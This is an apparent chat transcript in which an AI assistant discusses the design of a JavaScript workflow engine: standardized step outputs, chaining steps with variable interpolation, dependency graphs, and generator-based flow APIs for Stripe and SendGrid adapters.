step_select_tasks.target.data[0].name
// External Stripe step
step_create_payment.target.data[0].payment_id
// External SendGrid step
step_send_email.target.data[0].message_id
// All use same pattern!Benefits of Standardization
1. Type Safety via Schema
javascript
// Step produces AICompletion
step_chat.target.doctype = "AICompletion"
step_chat.target.schema.fields = [
{ fieldname: "content", fieldtype: "Long Text" },
{ fieldname: "tokens_used", fieldtype: "Int" }
]
// Next step can validate access
const content = step_chat.target.data[0].content; // ✅ Schema says this exists
const invalid = step_chat.target.data[0].foo; // ❌ Not in schema2. Cross-Adapter Compatibility
javascript
// Step 1: Get customer from Stripe
step_get_customer.target = {
doctype: "StripeCustomer",
data: [{ customer_id: "cus_123", email: "test@example.com" }]
}
// Step 2: Send email via SendGrid using Stripe data
step_send_email.input = {
to: step_get_customer.target.data[0].email, // Cross-adapter!
template_data: {
customer_id: step_get_customer.target.data[0].customer_id
}
}3. Generic Pipeline Execution
javascript
// Pipeline executor doesn't need to know about step internals
for (const step of workflow.steps) {
// Get input from previous step
if (step.source_step) {
const sourceStep = completedSteps[step.source_step];
step.input = mapData(step.args, sourceStep.target.data);
}
// Execute step (could be internal or external)
const result = await executeStep(step);
// Store standardized output
completedSteps[step.name] = {
target: {
doctype: result.target_doctype,
schema: result.schema,
data: result.data,
meta: result.meta
}
};
}Variable Interpolation
Your example uses template syntax:
javascript
{
"data": {
"task_count": "{{code.task_count}}",
"total_hours": "{{code.total_estimated_hours}}"
}
}This resolves to:
javascript
// At runtime
const sourceStep = completedSteps[step.source_step];
// "{{code.task_count}}" becomes:
sourceStep.target.data[0].task_count
// "{{step_a1b2c3d4e5f6g7h.target.data[0].name}}" becomes:
completedSteps["step_a1b2c3d4e5f6g7h"].target.data[0].nameSchema Enables Validation
javascript
// Before accessing step data
function validateStepAccess(stepId, fieldPath) {
const step = completedSteps[stepId];
const schema = step.target.schema;
// Parse "data[0].customer_id" → field = "customer_id"
const fieldName = extractFieldName(fieldPath);
// Check if field exists in schema
const field = schema.fields.find(f => f.fieldname === fieldName);
if (!field) {
throw new Error(`Field ${fieldName} not found in ${step.target.doctype} schema`);
}
// Check if data actually has this field
if (!(fieldName in step.target.data[0])) {
throw new Error(`Field ${fieldName} missing in step ${stepId} output`);
}
return true;
}Example: Multi-Step Pipeline
javascript
// Step 1: Internal CRUD
step_1 = await run({
operation: "select",
doctype: "Invoice",
where: { unpaid: true }
});
// step_1.target.data[0] = { name: "INV-001", amount: 5000, customer_email: "..." }
// Step 2: External Stripe adapter
step_2 = await run({
operation: "create_payment",
adapter: "Stripe",
input: {
amount: step_1.target.data[0].amount, // ✅ Access via target.data[0]
customer: step_1.target.data[0].stripe_customer_id
}
});
// step_2.target.data[0] = { payment_id: "pi_123", status: "succeeded", ... }
// Step 3: External SendGrid adapter
step_3 = await run({
operation: "send_email",
adapter: "SendGrid",
input: {
to: step_1.target.data[0].customer_email, // From step 1
template_data: {
amount: step_2.target.data[0].amount, // From step 2
payment_id: step_2.target.data[0].payment_id // From step 2
}
}
});
// step_3.target.data[0] = { message_id: "msg_abc", status: "queued" }
// Step 4: Internal CRUD update
step_4 = await run({
operation: "update",
doctype: "Invoice",
where: { name: step_1.target.data[0].name }, // From step 1
data: {
paid: true,
payment_id: step_2.target.data[0].payment_id // From step 2
}
});
```
**All access is via `step_id.target.data[0]` - uniform across internal/external!**
---
## The Key Principle
**Standardization at the output (target) level allows uniform access at the input level.**
```
Internal operation → target { doctype, schema, data }
External adapter → target { doctype, schema, data }
Code evaluation → target { doctype, schema, data }
All produce same structure
↓
All can be consumed by next step using same pattern
↓
step_id.target.data[0].field_nameThis is what makes cross-adapter workflows possible - every step speaks the same language.
Jan 15
Chaining Steps: Execution Patterns
The Core Question
If every step produces target { doctype, schema, data }, how do we:
- Execute steps in sequence
- Pass data between them
- Handle dependencies
Pattern 1: Sequential Execution with source_step
Workflow Definition
javascript
{
steps: [
{
name: "step_1",
operation: "select",
doctype: "Invoice",
args: { where: { unpaid: true } }
// No source_step - starts the chain
},
{
name: "step_2",
operation: "create_payment",
adapter: "Stripe",
source_step: "step_1", // ← Depends on step_1
args: {
amount: "{{step_1.target.data[0].amount}}",
customer: "{{step_1.target.data[0].stripe_customer_id}}"
}
},
{
name: "step_3",
operation: "send_email",
adapter: "SendGrid",
source_step: "step_2", // ← Depends on step_2
args: {
to: "{{step_1.target.data[0].customer_email}}", // Can reference ANY previous step
payment_id: "{{step_2.target.data[0].payment_id}}"
}
}
]
}Execution Flow
javascript
// Executor maintains completed steps registry
const completedSteps = {};
for (const stepDef of workflow.steps) {
// Wait for dependency
if (stepDef.source_step) {
if (!completedSteps[stepDef.source_step]) {
throw new Error(`Step ${stepDef.source_step} not completed yet`);
}
}
// Resolve variables in args
const resolvedArgs = resolveVariables(stepDef.args, completedSteps);
// Execute step
const stepResult = await coworker.run({
operation: stepDef.operation,
doctype: stepDef.doctype,
adapter: stepDef.adapter,
input: resolvedArgs
});
// Store result
completedSteps[stepDef.name] = stepResult;
}Pattern 2: Implicit Chaining via Array Order
Simple Sequential (No explicit dependencies)
javascript
{
steps: [
{ name: "step_1", ... },
{ name: "step_2", ... }, // Implicitly after step_1
{ name: "step_3", ... } // Implicitly after step_2
]
}
// Execution: Just iterate array
for (const step of workflow.steps) {
await executeStep(step);
}With Data References (Explicit dependencies)
javascript
{
steps: [
{ name: "step_1", ... },
{
name: "step_2",
args: {
amount: "{{step_1.target.data[0].amount}}" // ← Explicit reference creates dependency
}
}
]
}
// Executor detects dependencies from variable referencesPattern 3: Dependency Graph (Advanced)
DAG (Directed Acyclic Graph)
javascript
{
steps: [
{
name: "fetch_invoice",
operation: "select",
doctype: "Invoice"
},
{
name: "fetch_customer",
operation: "select",
doctype: "Customer",
source_step: "fetch_invoice"
},
{
name: "create_payment",
adapter: "Stripe",
source_step: "fetch_invoice" // Parallel with fetch_customer
},
{
name: "send_email",
adapter: "SendGrid",
depends_on: ["fetch_customer", "create_payment"] // ← Wait for BOTH
}
]
}Execution: Topological Sort
javascript
// Build dependency graph
const graph = buildDependencyGraph(workflow.steps);
// Execute in dependency order (allows parallelism)
while (graph.hasUnexecutedSteps()) {
const readySteps = graph.getStepsWithSatisfiedDependencies();
// Execute all ready steps in parallel
await Promise.all(
readySteps.map(step => executeStep(step))
);
}Data Passing Mechanisms
Mechanism 1: Variable Interpolation (Your Current Pattern)
javascript
// Step definition uses template strings
{
args: {
customer_email: "{{step_1.target.data[0].email}}",
payment_amount: "{{step_2.target.data[0].amount}}"
}
}
// Executor resolves at runtime
function resolveVariables(args, completedSteps) {
return JSON.parse(
JSON.stringify(args)
.replace(/\{\{([\w\.\[\]]+)\}\}/g, (match, path) => {
return resolvePath(path, completedSteps);
})
);
}
function resolvePath(path, completedSteps) {
// "step_1.target.data[0].email" → completedSteps.step_1.target.data[0].email
const [stepName, ...rest] = path.split('.');
let value = completedSteps[stepName];
for (const segment of rest) {
if (segment.includes('[')) {
// Handle array access: data[0]
const [prop, index] = segment.split('[');
value = value[prop][parseInt(index)];
} else {
value = value[segment];
}
}
return value;
}Mechanism 2: Implicit Current Context
javascript
// If source_step is specified, make it available as implicit context
{
name: "step_2",
source_step: "step_1",
args: {
// Can reference without step name
email: "{{data[0].email}}", // Implicitly step_1.target.data[0].email
amount: "{{data[0].amount}}" // Implicitly step_1.target.data[0].amount
}
}Mechanism 3: Explicit Data Mapping
javascript
{
name: "step_2",
source_step: "step_1",
map_input: {
customer_email: "target.data[0].email", // From step_1
invoice_amount: "target.data[0].amount", // From step_1
customer_id: "target.data[0].customer_id" // From step_1
}
}
// Executor builds input object
step2.input = {
customer_email: step1.target.data[0].email,
invoice_amount: step1.target.data[0].amount,
customer_id: step1.target.data[0].customer_id
}Chaining Questions
Q1: Do we support parallel execution?
javascript
// Can these run simultaneously?
{
steps: [
{ name: "fetch_invoice", ... },
{ name: "charge_stripe", source_step: "fetch_invoice" }, // Depends on fetch_invoice
{ name: "charge_paypal", source_step: "fetch_invoice" } // Also depends on fetch_invoice
// ↑ These two could run in parallel
]
}Q2: Do we support conditional steps?
javascript
{
name: "send_notification",
condition: "{{step_payment.target.data[0].status}} === 'succeeded'", // Only run if payment succeeded
operation: "send_email"
}Q3: Do we support loops/iterations?
javascript
{
name: "charge_each_invoice",
for_each: "{{step_fetch_invoices.target.data}}", // Loop over array
operation: "create_payment",
args: {
amount: "{{item.amount}}", // Current iteration item
invoice_id: "{{item.name}}"
}
}Q4: Do we support error handling in chain?
javascript
{
name: "charge_customer",
operation: "create_payment",
on_error: {
operation: "send_email", // If charge fails, send notification
args: {
to: "admin@company.com",
subject: "Payment failed"
}
}
}Simplest Viable Chaining (Recommendation)
Start with Sequential + Variable Interpolation
javascript
// Workflow executor
async function executeWorkflow(workflow) {
const completed = {};
for (const stepDef of workflow.steps) {
// 1. Check dependency
if (stepDef.source_step && !completed[stepDef.source_step]) {
throw new Error(`Dependency ${stepDef.source_step} not met`);
}
// 2. Resolve variables
const input = resolveVariables(stepDef.args, completed);
// 3. Execute step
const result = await coworker.run({
operation: stepDef.operation,
doctype: stepDef.doctype,
adapter: stepDef.adapter,
input: input
});
// 4. Store result
completed[stepDef.name] = result;
// 5. Check success
if (!result.success) {
throw new Error(`Step ${stepDef.name} failed: ${result.error.message}`);
}
}
return completed;
}Usage
javascript
const workflow = {
steps: [
{
name: "step_1",
operation: "select",
doctype: "Invoice",
args: { where: { id: 123 } }
},
{
name: "step_2",
operation: "create_payment",
adapter: "Stripe",
source_step: "step_1",
args: {
amount: "{{step_1.target.data[0].amount}}",
customer: "{{step_1.target.data[0].stripe_customer_id}}"
}
}
]
};
const results = await executeWorkflow(workflow);
// Access any step's output
console.log(results.step_1.target.data[0]);
console.log(results.step_2.target.data[0]);The Answer
Chaining happens via:
- Array order - steps execute sequentially
- source_step - explicit dependency declaration
- Variable interpolation -
{{step_name.target.data[0].field}} - Completed registry - each step stores result, accessible to subsequent steps
- Standardized output - every step produces
target { doctype, schema, data }
The standardization of target is what makes chaining possible - every step speaks the same output language, so every step can consume any previous step's output.
Jan 15
Correct - Basic JS Doesn't Need Chaining
You're Right
For basic JavaScript function calls, you don't need this workflow machinery:
javascript
// Just call functions directly
const invoices = await coworker.run({
operation: 'select',
doctype: 'Invoice',
where: { unpaid: true }
});
const payment = await coworker.run({
operation: 'create_payment',
adapter: 'Stripe',
input: {
amount: invoices.target.data[0].amount, // Direct JS variable access
customer: invoices.target.data[0].stripe_customer_id
}
});
const email = await coworker.run({
operation: 'send_email',
adapter: 'SendGrid',
input: {
to: invoices.target.data[0].customer_email,
payment_id: payment.target.data[0].payment_id // Direct JS variable access
}
});No source_step, no {{variables}}, no workflow executor needed.
When You DO Need Workflow/Steps
Use Case 1: Stored/Reusable Workflows
When the sequence is stored as data (not code):
javascript
// This is DATA, not code
const workflow = {
name: "payment_flow",
steps: [
{ operation: 'select', doctype: 'Invoice', ... },
{ operation: 'create_payment', adapter: 'Stripe', ... },
{ operation: 'send_email', adapter: 'SendGrid', ... }
]
};
// Execute stored workflow
await executeWorkflow(workflow);Why: Users can define workflows without writing JS code.
Use Case 2: No-Code/Low-Code Interface
When non-programmers build workflows:
javascript
// UI allows dragging steps
// Saves as JSON workflow
// Executes without custom JSWhy: Workflow is configuration, not code.
Use Case 3: Dynamic/Conditional Execution
When flow changes based on runtime data:
javascript
// Workflow loaded from database based on context
const workflowName = customer.subscription_type === 'enterprise'
? 'enterprise_onboarding'
: 'standard_onboarding';
const workflow = await loadWorkflow(workflowName);
await executeWorkflow(workflow);Why: Can't hardcode all possible flows.
Use Case 4: AI/LLM Generated Workflows
When AI creates the workflow:
javascript
// User: "When invoice is created, charge the customer via Stripe and email them"
// AI generates:
const workflow = {
steps: [
{ operation: 'select', doctype: 'Invoice', ... },
{ operation: 'create_payment', adapter: 'Stripe', source_step: 'step_1', ... },
{ operation: 'send_email', adapter: 'SendGrid', source_step: 'step_2', ... }
]
};Why: AI outputs structured data, not JS code.
The Two Modes
Mode 1: Developer Writing JS Code
javascript
// Direct function calls
const a = await coworker.run({...});
const b = await coworker.run({ input: a.target.data[0] });
const c = await coworker.run({ input: b.target.data[0] });No workflow system needed.
Mode 2: Workflow as Data
javascript
// Workflow stored/generated/configured
const workflow = {
steps: [
{ name: 'a', ... },
{ name: 'b', source_step: 'a', args: { x: '{{a.target.data[0].x}}' } },
{ name: 'c', source_step: 'b', args: { y: '{{b.target.data[0].y}}' } }
]
};
// Generic executor
await executeWorkflow(workflow);Workflow system required.
Analogy
Mode 1 is like writing Python:
python
result1 = function1()
result2 = function2(result1)
result3 = function3(result2)Mode 2 is like Apache Airflow DAGs:
python
# DAG defined as configuration
dag = DAG('payment_flow')
task1 = Task('select_invoice')
task2 = Task('charge_stripe', depends_on=[task1])
task3 = Task('send_email', depends_on=[task2])When Does This Matter for Adapters?
For Basic Adapter Usage (Mode 1)
javascript
// Developer calls adapter directly
const result = await coworker.run({
operation: 'create_payment',
adapter: 'Stripe',
input: { amount: 5000 }
});
// No workflow neededAdapters work fine without workflow system.
For Workflow-Based Usage (Mode 2)
javascript
// Workflow references adapter
const workflow = {
steps: [
{ operation: 'create_payment', adapter: 'Stripe', args: {...} }
]
};
// Workflow executor calls adapter
await executeWorkflow(workflow);
```
**Adapters integrate into workflow system.**
---
## The Key Point
**Workflow/steps chaining is OPTIONAL.**
It's a **higher-level abstraction** on top of basic `coworker.run()`.
```
Layer 3: Workflow System (optional)
└─ Executes steps from configuration
└─ Handles source_step, variable interpolation
Layer 2: Adapters (core)
└─ Normalize external APIs to target schema
└─ provide_secrets, parse_request, parse_response
Layer 1: coworker.run() (foundation)
└─ Execute operations (CRUD or adapter)
└─ Return standardized target { doctype, schema, data }You can use Layer 1 + 2 without Layer 3.
So For Adapters...
Basic adapter implementation doesn't need:
- ❌ Workflow executor
- ❌ source_step logic
- ❌ Variable interpolation
- ❌ Dependency graphs
Basic adapter DOES need:
- ✅ provide_secrets (config)
- ✅ parse_request (input transformation)
- ✅ parse_response (output normalization to target schema)
- ✅ Standardized target { doctype, schema, data }
Workflow features are for later - when you want no-code workflow builder or AI-generated flows.
Is this the correct understanding?
Jan 15
Easy JS Dialect for Flow Chains
The Goal
Make chaining feel natural in JavaScript while maintaining the ability to serialize/store workflows.
Option 1: Method Chaining (Fluent API)
The Pattern
javascript
await coworker
.select('Invoice', { where: { unpaid: true } })
.then(invoices =>
coworker.adapter('Stripe').createPayment({
amount: invoices[0].amount,
customer: invoices[0].stripe_customer_id
})
)
.then(payment =>
coworker.adapter('SendGrid').sendEmail({
to: invoices[0].customer_email,
payment_id: payment.payment_id
})
);Pros: Native JS, familiar to developers Cons: Can't serialize, can't store as data
Option 2: Pipeline Builder (Chainable + Serializable)
The Pattern
javascript
const flow = coworker.flow()
.step('select_invoice', {
operation: 'select',
doctype: 'Invoice',
where: { unpaid: true }
})
.step('charge_customer', {
operation: 'create_payment',
adapter: 'Stripe',
input: flow => ({
amount: flow.select_invoice.data[0].amount,
customer: flow.select_invoice.data[0].stripe_customer_id
})
})
.step('send_receipt', {
operation: 'send_email',
adapter: 'SendGrid',
input: flow => ({
to: flow.select_invoice.data[0].customer_email,
payment_id: flow.charge_customer.data[0].payment_id
})
});
// Execute
const result = await flow.run();
// OR serialize for storage
const json = flow.toJSON();How it works:
javascript
coworker.flow = function() {
const steps = [];
return {
step(name, config) {
steps.push({ name, ...config });
return this; // Chainable
},
async run() {
const completed = {};
for (const step of steps) {
// Resolve input function if provided
const input = typeof step.input === 'function'
? step.input(completed)
: step.input;
// Execute
const result = await coworker.run({
operation: step.operation,
doctype: step.doctype,
adapter: step.adapter,
input
});
// Store with simplified access
completed[step.name] = {
data: result.target.data,
schema: result.target.schema,
meta: result.target.meta
};
}
return completed;
},
toJSON() {
// Convert functions to serializable format
return steps.map(step => ({
...step,
input: step.input?.toString() // Serialize function
}));
}
};
};Pros:
- Feels like native JS
- Can serialize to JSON
- Type inference possible
Cons:
- Function serialization is tricky
- Can't fully reconstruct from JSON
Option 3: Tagged Template Literals (Most JS-Native)
The Pattern
javascript
const flow = coworker.flow`
let invoice = select Invoice where unpaid = true
let payment = Stripe.createPayment({
amount: ${invoice[0].amount},
customer: ${invoice[0].stripe_customer_id}
})
let email = SendGrid.sendEmail({
to: ${invoice[0].customer_email},
payment_id: ${payment[0].payment_id}
})
`;
await flow.run();Pros:
- Feels like a mini-language
- Very readable
- Can parse and serialize
Cons:
- Complex parser needed
- Limited IDE support
- Non-standard syntax
Option 4: Async Generator (Elegant)
The Pattern
javascript
const paymentFlow = async function*() {
// Step 1
const invoice = yield {
operation: 'select',
doctype: 'Invoice',
where: { unpaid: true }
};
// Step 2 - use previous step's data
const payment = yield {
operation: 'create_payment',
adapter: 'Stripe',
input: {
amount: invoice.data[0].amount,
customer: invoice.data[0].stripe_customer_id
}
};
// Step 3 - use multiple previous steps
const email = yield {
operation: 'send_email',
adapter: 'SendGrid',
input: {
to: invoice.data[0].customer_email,
payment_id: payment.data[0].payment_id
}
};
return { invoice, payment, email };
};
// Execute
const result = await coworker.runFlow(paymentFlow);Executor:
javascript
coworker.runFlow = async function(generatorFn) {
const generator = generatorFn();
let stepResult = null;
while (true) {
const { value: stepConfig, done } = generator.next(stepResult);
if (done) {
return value; // Final return value
}
// Execute step
const result = await coworker.run(stepConfig);
// Prepare for next step (simplified access)
stepResult = {
data: result.target.data,
schema: result.target.schema,
meta: result.target.meta
};
}
};Pros:
- Native JS async/await patterns
- Clear data flow
- Debuggable (step through with debugger)
- Variables work naturally
Cons:
- Can't serialize (it's actual code)
- Less discoverable pattern
Option 5: Proxy Magic (Hidden Chaining)
The Pattern
javascript
const $ = coworker.flow();
await $.select('Invoice', { unpaid: true })
.as('invoice')
.Stripe.createPayment({
amount: $('invoice[0].amount'),
customer: $('invoice[0].stripe_customer_id')
})
.as('payment')
.SendGrid.sendEmail({
to: $('invoice[0].customer_email'),
payment_id: $('payment[0].payment_id')
});How:
javascript
coworker.flow = function() {
const steps = [];
const data = {};
const createProxy = () => {
return new Proxy(function(path) {
// $('invoice[0].amount') returns reference
return { _ref: path };
}, {
get(target, prop) {
if (prop === 'as') {
return (name) => {
steps[steps.length - 1].name = name;
return createProxy();
};
}
// Adapter access: $.Stripe
return new Proxy({}, {
get(target, method) {
return (input) => {
steps.push({
adapter: prop,
operation: method,
input
});
return createProxy();
};
}
});
},
apply(target, thisArg, args) {
// Direct operations: $.select()
const [doctype, query] = args;
steps.push({
operation: 'select',
doctype,
query
});
return createProxy();
}
});
};
return createProxy();
};Pros:
- Very clean syntax
- Magic auto-chaining
Cons:
- Too much magic
- Hard to debug
- Confusing for newcomers
Recommendation: Option 4 (Async Generator)
Why
- Native JS - uses standard async/await patterns
- Clear data flow - variables work naturally
- Debuggable - can step through in debugger
- Type-safe - IDEs can infer types
- Explicit - no magic, clear what's happening
Full Example
javascript
// Define flow
const paymentFlow = async function*(invoiceId) {
// Step 1: Fetch invoice
const invoice = yield {
operation: 'select',
doctype: 'Invoice',
where: { id: invoiceId }
};
console.log('Invoice fetched:', invoice.data[0].name);
// Step 2: Charge customer
const payment = yield {
operation: 'create_payment',
adapter: 'Stripe',
input: {
amount: invoice.data[0].amount,
customer: invoice.data[0].stripe_customer_id,
metadata: {
invoice_id: invoice.data[0].name
}
}
};
console.log('Payment created:', payment.data[0].payment_id);
// Step 3: Conditional - only send email if payment succeeded
if (payment.data[0].status === 'succeeded') {
const email = yield {
operation: 'send_email',
adapter: 'SendGrid',
input: {
to: invoice.data[0].customer_email,
template: 'payment_receipt',
data: {
invoice_number: invoice.data[0].name,
amount: payment.data[0].amount,
payment_id: payment.data[0].payment_id
}
}
};
console.log('Email sent:', email.data[0].message_id);
}
// Step 4: Update invoice
const updated = yield {
operation: 'update',
doctype: 'Invoice',
where: { id: invoiceId },
input: {
paid: true,
payment_id: payment.data[0].payment_id,
paid_at: new Date().toISOString()
}
};
// Return summary
return {
invoice: invoice.data[0],
payment: payment.data[0],
updated: updated.data[0]
};
};
// Execute
const result = await coworker.runFlow(paymentFlow, 'INV-001');
console.log('Flow completed:', result);Benefits in Practice
Natural control flow:
javascript
const flow = async function*() {
const invoice = yield { ... };
// Conditional
if (invoice.data[0].amount > 10000) {
yield { operation: 'send_approval_request', ... };
}
// Loops
for (const item of invoice.data[0].line_items) {
yield { operation: 'check_inventory', input: { sku: item.sku } };
}
// Error handling
try {
const payment = yield { operation: 'charge', ... };
} catch (err) {
yield { operation: 'send_alert', ... };
}
};Still serializable (with transformation):
javascript
// Convert generator to JSON workflow
const workflow = coworker.compileFlow(paymentFlow);
// → { steps: [...], conditions: [...], loops: [...] }Comparison Table
| Pattern | JS Native | Serializable | Debuggable | Learning Curve |
|---|---|---|---|---|
| Method Chaining | ✅ | ❌ | ✅ | Low |
| Pipeline Builder | ⚠️ | ⚠️ | ✅ | Medium |
| Template Literals | ❌ | ✅ | ❌ | High |
| Async Generator | ✅ | ⚠️ | ✅ | Low |
| Proxy Magic | ⚠️ | ❌ | ❌ | High |
Final Answer
Use Async Generators for the "easy JS dialect":
javascript
const flow = async function*() {
const step1 = yield { operation: 'select', ... };
const step2 = yield { operation: 'create', input: step1.data[0] };
return { step1, step2 };
};
await coworker.runFlow(flow);Why: Feels like normal JS, variables work naturally, supports all control flow (if/for/try), and can be compiled to JSON if needed later.
Jan 15
Understanding yield in Async Generators
What yield Does
yield is a pause point in a generator function. It:
- Pauses execution of the function
- Returns a value to the caller
- Waits for the caller to send something back
- Resumes where it left off with the sent value
Simple Example (No Async)
javascript
function* counter() {
console.log('Start');
const a = yield 1; // Pause here, return 1
console.log('Got:', a);
const b = yield 2; // Pause here, return 2
console.log('Got:', b);
return 'Done';
}
// Execute step by step
const gen = counter();
gen.next(); // Logs: "Start"
// Returns: { value: 1, done: false }
gen.next('hello'); // Logs: "Got: hello"
// Returns: { value: 2, done: false }
gen.next('world'); // Logs: "Got: world"
// Returns: { value: 'Done', done: true }What happened:
yield 1paused and returned1gen.next('hello')resumed anda = 'hello'yield 2paused and returned2gen.next('world')resumed andb = 'world'- Function returned
'Done'
In Your Flow Pattern
javascript
const paymentFlow = async function*() {
// Pause 1: Give step config to executor
const invoice = yield {
operation: 'select',
doctype: 'Invoice',
where: { id: 123 }
};
// Resume 1: Executor sends back result
// invoice = { data: [...], schema: {...}, meta: {...} }
console.log(invoice.data[0].amount); // Can use the result!
// Pause 2: Give next step config
const payment = yield {
operation: 'create_payment',
adapter: 'Stripe',
input: {
amount: invoice.data[0].amount // Using previous result
}
};
// Resume 2: Executor sends back payment result
// payment = { data: [...], schema: {...}, meta: {...} }
return { invoice, payment };
};The Executor's Perspective
javascript
coworker.runFlow = async function(generatorFn) {
const generator = generatorFn();
let previousResult = null;
while (true) {
// Ask generator for next step
const { value, done } = generator.next(previousResult);
if (done) {
return value; // Generator returned
}
// value = the step config that was yielded
console.log('Step config:', value);
// Execute the step
const result = await coworker.run(value);
// Send result back to generator
previousResult = {
data: result.target.data,
schema: result.target.schema,
meta: result.target.meta
};
}
};Step-by-Step Execution
Generator Code:
javascript
const flow = async function*() {
const invoice = yield { operation: 'select', doctype: 'Invoice' };
const payment = yield { operation: 'charge', input: invoice.data[0] };
return 'complete';
};
```
### Execution Timeline:
```
1. coworker.runFlow(flow) called
↓
2. generator.next() → pauses at first yield
Returns: { value: { operation: 'select', ... }, done: false }
↓
3. Executor runs: coworker.run({ operation: 'select', ... })
Gets back: { target: { data: [...], schema: {...} } }
↓
4. generator.next(invoiceResult) → resumes, invoice variable gets result
Continues to second yield, pauses
Returns: { value: { operation: 'charge', ... }, done: false }
↓
5. Executor runs: coworker.run({ operation: 'charge', ... })
Gets back: { target: { data: [...], schema: {...} } }
↓
6. generator.next(paymentResult) → resumes, payment variable gets result
Reaches return statement
Returns: { value: 'complete', done: true }
↓
7. Executor returns 'complete'Why This is Powerful
Traditional Callback Hell:
javascript
coworker.run({ operation: 'select' }, (invoice) => {
coworker.run({
operation: 'charge',
input: invoice.data[0]
}, (payment) => {
coworker.run({
operation: 'send_email',
input: payment.data[0]
}, (email) => {
console.log('Done!');
});
});
});With Async/Await (but no data passing):
javascript
const invoice = await coworker.run({ operation: 'select' });
const payment = await coworker.run({ operation: 'charge' });
// ❌ How do we pass invoice data to payment?With Generator (clean data flow):
javascript
const flow = async function*() {
const invoice = yield { operation: 'select' };
const payment = yield {
operation: 'charge',
input: invoice.data[0] // ✅ Natural variable access
};
const email = yield {
operation: 'send_email',
input: payment.data[0] // ✅ Can use previous results
};
return { invoice, payment, email };
};Key Difference from Regular Functions
Regular Function:
javascript
async function doSteps() {
const invoice = await coworker.run({ operation: 'select' });
const payment = await coworker.run({ operation: 'charge' });
return { invoice, payment };
}
// Caller can't intercept between steps
await doSteps();Generator Function:
javascript
async function* doSteps() {
const invoice = yield { operation: 'select' };
const payment = yield { operation: 'charge' };
return { invoice, payment };
}
// Caller controls each step
const gen = doSteps();
const step1 = gen.next(); // Get first step config
const result1 = await execute(step1.value); // Execute it
const step2 = gen.next(result1); // Give result back, get next stepThe executor is in control, not the function itself.
What Gets Yielded vs What Gets Received
What You Yield (Send TO executor):
javascript
yield {
operation: 'select',
doctype: 'Invoice',
where: { id: 123 }
}
// This is the STEP CONFIGURATIONWhat You Receive (Sent FROM executor):
javascript
const invoice = yield {...};
// invoice = {
// data: [{ name: "INV-001", amount: 5000 }],
// schema: { fields: [...] },
// meta: { duration: 45 }
// }
// This is the STEP RESULTAnalogy
Think of yield like a restaurant:
javascript
async function* orderMeal() {
// You (generator): "I want a burger"
const burger = yield { dish: 'burger', toppings: ['cheese'] };
// Waiter (executor): Goes to kitchen, brings back burger
// You receive: burger = { item: '🍔', price: 10 }
console.log('Got burger for $' + burger.price);
// You: "Now I want fries"
const fries = yield { dish: 'fries', size: 'large' };
// Waiter: Brings fries
// You receive: fries = { item: '🍟', price: 5 }
return { total: burger.price + fries.price };
}You yield requests, receive results.
Why Not Just Use Async/Await?
javascript
// This works but loses the "configuration" aspect
async function flow() {
const invoice = await coworker.run({ operation: 'select' });
const payment = await coworker.run({ operation: 'charge' });
}
await flow();Problem: The executor can't:
- See all steps before executing
- Pause/resume execution
- Inspect step configurations
- Serialize the workflow
With generators:
javascript
async function* flow() {
yield { operation: 'select' };
yield { operation: 'charge' };
}
// Executor can:
const gen = flow();
const steps = [];
let step;
while (!(step = gen.next()).done) {
steps.push(step.value); // Collect all step configs
}
// Now we have the full workflow as data!Summary
yield in generators:
- Pauses function execution
- Returns a value to the caller (step config)
- Waits for caller to send something back (step result)
- Resumes with that sent value
In your flow pattern:
javascript
const result = yield stepConfig;
↑ ↑
Receives Sends out
step result step configThis creates a conversation between your flow function and the executor, where each yield is like saying "do this step, then give me the result so I can continue."
Jan 15
Yes - Direct Function Chaining is Simpler
You're Absolutely Right
javascript
// Just chain function calls directly
const invoice = await coworker.run({
operation: 'select',
doctype: 'Invoice',
where: { unpaid: true }
});
const payment = await coworker.run({
operation: 'create_payment',
adapter: 'Stripe',
input: {
amount: invoice.target.data[0].amount,
customer: invoice.target.data[0].stripe_customer_id
}
});
const email = await coworker.run({
operation: 'send_email',
adapter: 'SendGrid',
input: {
to: invoice.target.data[0].customer_email,
payment_id: payment.target.data[0].payment_id
}
});This is the simplest "easy JS dialect" - it's just regular JavaScript.
When Generators Would Matter
Generators only provide value when you need:
1. Introspection Before Execution
javascript
// With generator - can see all steps before running
const flow = async function*() {
yield { operation: 'select', ... };
yield { operation: 'charge', ... };
yield { operation: 'email', ... };
};
// Extract steps without executing
const steps = extractSteps(flow); // Get config as dataBut if you're writing JS code anyway, why need this?
2. Pause/Resume/Retry
javascript
// Generator can pause between steps
const gen = flow();
gen.next(); // Step 1
// ... wait for approval ...
gen.next(); // Step 2But regular JS can do this with explicit control:
javascript
const step1 = await coworker.run(...);
await waitForApproval();
const step2 = await coworker.run(...);3. Serialization
javascript
// Convert generator to JSON workflow
const json = serialize(flow);But if you're serializing, why not just write JSON directly?
The Real Question
What problem are we actually solving?
If Problem = "Make JS code cleaner"
→ Direct chaining is the answer (what you just said)
javascript
const a = await run(...);
const b = await run({ input: a.target.data[0] });
const c = await run({ input: b.target.data[0] });This is already the "easy JS dialect" - no framework needed.
If Problem = "Store workflows as data"
→ JSON workflows are the answer
javascript
// Workflow as data
{
steps: [
{ name: "step_1", operation: "select", ... },
{ name: "step_2", operation: "charge", source_step: "step_1", ... },
{ name: "step_3", operation: "email", source_step: "step_2", ... }
]
}
// Executor interprets data
await executeWorkflow(workflow);This is for no-code builders or AI-generated workflows.
If Problem = "Both"
→ That's where generators help (but adds complexity)
javascript
// Write as JS
const flow = async function*() {
const a = yield { operation: 'select' };
const b = yield { operation: 'charge', input: a.data[0] };
};
// Run as JS
await coworker.runFlow(flow);
// OR compile to JSON for storage/editing
const json = compileToWorkflow(flow);My Recommendation
Start with direct chaining:
javascript
// This IS the easy JS dialect
const invoice = await coworker.run({
operation: 'select',
doctype: 'Invoice',
where: { unpaid: true }
});
const payment = await coworker.run({
operation: 'create_payment',
adapter: 'Stripe',
input: {
amount: invoice.target.data[0].amount
}
});
```
**Only add workflow abstraction later if:**
- Users need no-code workflow builder
- AI generates workflows
- Need to store/version/share workflows as data
---
## Simplified Architecture
```
FOR DEVELOPERS:
Just use coworker.run() with direct chaining
No special syntax needed
FOR NO-CODE USERS (later):
Workflow JSON → Executor
Variable interpolation {{step_1.target.data[0].field}}
Visual workflow builderThe Answer
"Easy JS dialect for flow chains" = regular JavaScript function calls.
javascript
const result1 = await fn1();
const result2 = await fn2(result1.target.data[0]);
const result3 = await fn3(result2.target.data[0]);No special dialect needed. The standardized target { doctype, schema, data } structure already makes chaining natural.
